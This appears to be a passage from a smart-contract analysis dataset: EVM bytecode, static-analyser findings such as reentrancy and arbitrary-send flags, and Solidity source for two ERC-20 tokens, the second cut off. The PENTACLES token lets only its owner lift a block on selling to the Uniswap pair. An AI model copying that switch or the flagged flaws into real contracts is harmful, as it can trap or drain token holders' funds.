ffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610e7357506001548111155b15610f09576000600754600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec79190612182565b1015610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612038565b60405180910390fd5b5b6000610f143061069c565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610f7557600254610f79565b6003545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101b57610fda61082e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611038575060015482115b80156110515750600860159054906101000a900460ff16155b80156110ab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110f4576001600860156101000a81548160ff0219169083151502179055506110d482611809565b6000600860156101000a81548160ff0219169083151502179055506111f2565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561118257506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111f15782905080600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d99190612182565b925050819055506111ea838561184a565b5050611738565b5b600154831180156112515750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112ab5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138d576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113415782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386565b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050611738565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561141c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114285750600082115b80156114415750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114f957600154600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116225760045460648487611551919061237a565b61155b91906121d8565b61156591906121d8565b9250828561157391906123d4565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c491906123d4565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461161a9190612182565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167191906123d4565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c79190612182565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161172b91906120b8565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261181891906121d8565b90506000479050611829823061184a565b6000814761183791906123d4565b9050611844838230611aaa565b50505050565b6000600267ffffffffffffffff811115611867576118666125c6565b5b6040519080825280602002602001820160405280156118955781602001602082028036833780820191505090505b50905030816000815181106118ad576118ac612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c26565b8160018151811061199b5761199a612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611a539190612182565b6040518663ffffffff1660e01b8152600401611a739594939291906120d3565b600060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b50505050505050565b611ad730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b2a9190612182565b6040518863ffffffff1660e01b8152600401611b4b96959493929190611f7f565b6060604051808303818588803b158015611b6457600080fd5b505af1158015611b78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d9190611d53565b505050505050565b600081359050611bb48161272e565b92915050565b600081519050611bc98161272e565b92915050565b600081359050611bde81612745565b92915050565b600081519050611bf381612745565b92915050565b600060208284031215611c0f57611c0e6125f5565b5b6000611c1d84828501611ba5565b91505092915050565b600060208284031215611c3c57611c3b6125f5565b5b6000611c4a84828501611bba565b91505092915050565b60008060408385031215611c6a57611c696125f5565b5b6000611c7885828601611ba5565b9250506020611c8985828601611ba5565b9150509250929050565b600080600060608486031215611cac57611cab6125f5565b5b6000611cba86828701611ba5565b9350506020611ccb86828701611ba5565b9250506040611cdc86828701611bcf565b9150509250925092565b60008060408385031215611cfd57611cfc6125f5565b5b6000611d0b85828601611ba5565b9250506020611d1c85828601611bcf565b9150509250929050565b600060208284031215611d3c57611d3b6125f5565b5b6000611d4a84828501611bcf565b91505092915050565b600080600060608486031215611d6c57611d6b6125f5565b5b6000611d7a86828701611be4565b9350506020611d8b86828701611be4565b9250506040611d9c86828701611be4565b9150509250925092565b6000611db28383611dbe565b60208301905092915050565b611dc781612408565b82525050565b611dd681612408565b82525050565b6000611de78261213d565b611df18185612160565b9350611dfc8361212d565b8060005b83811015611e2d578151611e148882611da6565b9750611e1f83612153565b925050600181019050611e00565b5085935050505092915050565b611e438161241a565b82525050565b611e528161245d565b82525050565b611e618161246f565b82525050565b6000611e7282612148565b611e7c8185612171565b9350611e8c8185602086016124a5565b611e95816125fa565b840191505092915050565b6000611ead602683612171565b9150611eb882612618565b604082019050919050565b6000611ed0602683612171565b9150611edb82612667565b604082019050919050565b6000611ef3602083612171565b9150611efe826126b6565b602082019050919050565b6000611f16602483612171565b9150611f21826126df565b604082019050919050565b611f3581612446565b82525050565b6000602082019050611f506000830184611dcd565b92915050565b6000604082019050611f6b6000830185611dcd565b611f786020830184611dcd565b9392505050565b600060c082019050611f946000830189611dcd565b611fa16020830188611f2c565b611fae6040830187611e58565b611fbb6060830186611e58565b611fc86080830185611dcd565b611fd560a0830184611f2c565b979650505050505050565b6000602082019050611ff56000830184611e3a565b92915050565b60006020820190506120106000830184611e49565b92915050565b600060208201905081810360008301526120308184611e67565b905092915050565b6000602082019050818103600083015261205181611ea0565b9050919050565b6000602082019050818103600083015261207181611ec3565b9050919050565b6000602082019050818103600083015261209181611ee6565b9050919050565b600060208201905081810360008301526120b181611f09565b9050919050565b60006020820190506120cd6000830184611f2c565b92915050565b600060a0820190506120e86000830188611f2c565b6120f56020830187611e58565b81810360408301526121078186611ddc565b90506121166060830185611dcd565b6121236080830184611f2c565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061218d82612446565b915061219883612446565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cd576121cc61250a565b5b828201905092915050565b60006121e382612446565b91506121ee83612446565b9250826121fe576121fd612539565b5b828204905092915050565b6000808291508390505b60018511156122535780860481111561222f5761222e61250a565b5b600185161561223e5780820291505b808102905061224c8561260b565b9450612213565b94509492505050565b600061226782612446565b915061227283612450565b925061229f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122a7565b905092915050565b6000826122b75760019050612373565b816122c55760009050612373565b81600181146122db57600281146122e557612314565b6001915050612373565b60ff8411156122f7576122f661250a565b5b8360020a91508482111561230e5761230d61250a565b5b50612373565b5060208310610133831016604e8410600b84101617156123495782820a9050838111156123445761234361250a565b5b612373565b6123568484846001612209565b9250905081840481111561236d5761236c61250a565b5b81810290505b9392505050565b600061238582612446565b915061239083612446565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123c9576123c861250a565b5b828202905092915050565b60006123df82612446565b91506123ea83612446565b9250828210156123fd576123fc61250a565b5b828203905092915050565b600061241382612426565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061246882612481565b9050919050565b600061247a82612446565b9050919050565b600061248c82612493565b9050919050565b600061249e82612426565b9050919050565b60005b838110156124c35780820151818401526020810190506124a8565b838111156124d2576000848401525b50505050565b600060028204905060018216806124f057607f821691505b6020821081141561250457612503612568565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060008201527f616d6f756e740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61273781612408565b811461274257600080fd5b50565b61274e81612446565b811461275957600080fd5b5056fea2646970667358221220f0558a28f9aa1ce9d9f9f01b3473bfcd2174a2df3da1d822e6f9889146868e4664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,620
0xd6aeaa52312a8c60e6deba9d3102106f436fa002
pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract PENTACLES is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _initialSupply = 1e8*1e18; string private _name = "Tome of Pentacles"; address private allowed; bool private _allowed = false; string private _symbol = "PENTA"; uint8 private _decimals = 18; address private _owner = msg.sender; bool public allowUniswap = false; address public UniswapPair; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner); event UniPairSetup( address indexed previousPair, address indexed newPair); event UniToggled( bool toggle); /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _mint(_owner, _initialSupply); } modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address account) public view returns(bool) { return account == _owner; } function viewOwner() public view returns(address) { return _owner; } function transferOwnership(address newOwner) public onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function setUniPair(address pair) public onlyOwner { emit UniPairSetup(UniswapPair, pair); UniswapPair = pair; } function toggleUniswap() public onlyOwner { if(allowUniswap == true){ allowUniswap = false; } else { allowUniswap = true; } emit UniToggled(allowUniswap); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { if(allowUniswap == false && sender != _owner && recipient == UniswapPair ){ revert("UNI_LIQ_NOT_YET"); } else { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806378a63f34116100a2578063a9059cbb11610071578063a9059cbb14610256578063bc677b4614610269578063dd62ed3e1461027f578063eb9e3408146102b8578063f2fde38b146102cc57600080fd5b806378a63f34146102085780637d217c091461023357806395d89b411461023b578063a457c2d71461024357600080fd5b806323b872dd116100e957806323b872dd146101835780632f54bf6e14610196578063313ce567146101bd57806339509351146101cc57806370a08231146101df57600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c5780631ffa30211461016e575b600080fd5b6101236102df565b6040516101309190610b0e565b60405180910390f35b61014c610147366004610ae4565b610371565b6040519015158152602001610130565b6002545b604051908152602001610130565b61018161017c366004610a53565b610387565b005b61014c610191366004610aa8565b6103ff565b61014c6101a4366004610a53565b60075461010090046001600160a01b0390811691161490565b60405160128152602001610130565b61014c6101da366004610ae4565b6104ae565b6101606101ed366004610a53565b6001600160a01b031660009081526020819052604090205490565b60085461021b906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6101816104ea565b610123610587565b61014c610251366004610ae4565b610596565b61014c610264366004610ae4565b61062f565b60075461010090046001600160a01b031661021b565b61016061028d366004610a75565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60075461014c90600160a81b900460ff1681565b6101816102da366004610a53565b61063c565b6060600480546102ee90610b89565b80601f016020809104026020016040519081016040528092919081815260200182805461031a90610b89565b80156103675780601f1061033c57610100808354040283529160200191610367565b820191906000526020600020905b81548152906001019060200180831161034a57829003601f168201915b5050505050905090565b600061037e3384846106bf565b50600192915050565b60075461010090046001600160a01b031633146103a357600080fd5b6008546040516001600160a01b038084169216907f6adccf6611779fb17964b78a37622e0e834362e624a33f56b2935ad200a4405b90600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b600061040c8484846107e3565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156104965760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104a385338584036106bf565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161037e9185906104e5908690610b63565b6106bf565b60075461010090046001600160a01b0316331461050657600080fd5b600754600160a81b900460ff1615156001141561052f576007805460ff60a81b19169055610543565b6007805460ff60a81b1916600160a81b1790555b600754604051600160a81b90910460ff16151581527fd968de1117a35130ee5f0b079b40668b2c4084e55fc0e251e08e18ddda75c86d9060200160405180910390a1565b6060600680546102ee90610b89565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156106185760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161048d565b61062533858584036106bf565b5060019392505050565b600061037e3384846107e3565b60075461010090046001600160a01b0316331461065857600080fd5b6007546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b0383166107215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048d565b6001600160a01b0382166107825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a81b900460ff1615801561081057506007546001600160a01b038481166101009092041614155b801561082957506008546001600160a01b038381169116145b156108685760405162461bcd60e51b815260206004820152600f60248201526e15539257d3125457d393d517d65155608a1b604482015260640161048d565b6001600160a01b0383166108cc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048d565b6001600160a01b03821661092e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048d565b6001600160a01b038316600090815260208190526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161048d565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906109dd908490610b63565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a2991815260200190565b60405180910390a350505050565b80356001600160a01b0381168114610a4e57600080fd5b919050565b600060208284031215610a6557600080fd5b610a6e82610a37565b9392505050565b60008060408385031215610a8857600080fd5b610a9183610a37565b9150610a9f60208401610a37565b90509250929050565b600080600060608486031215610abd57600080fd5b610ac684610a37565b9250610ad460208501610a37565b9150604084013590509250925092565b60008060408385031215610af757600080fd5b610b0083610a37565b946020939093013593505050565b600060208083528351808285015260005b81811015610b3b57858101830151858201604001528201610b1f565b81811115610b4d576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b8457634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680610b9d57607f821691505b60208210811415610bbe57634e487b7160e01b600052602260045260246000fd5b5091905056fea264697066735822122007b20cfc5dc2f5ea15a6e62c9edc1cdf5e9df428423d74c92ae3684b41136b3f64736f6c63430008070033
{"success": true, "error": null, "results": {}}
3,621
0x13dB9034C9CA6cb739887288fcE790544a476f8c
/** *Submitted for verification at Etherscan.io on 2021-07-20 */ /* TAIYO (TAIYO) Website: https://tsukiverse.com Telegram: https://t.me/TsukiInu Twitter: https://twitter.com/missiontsuki */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TAIYO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TAIYO"; string private constant _symbol = "TAIYO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taiyor = 2; uint256 private _taiyot = 12; uint256 private _previoustaiyor = _taiyor; uint256 private _previoustaiyot = _taiyot; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private 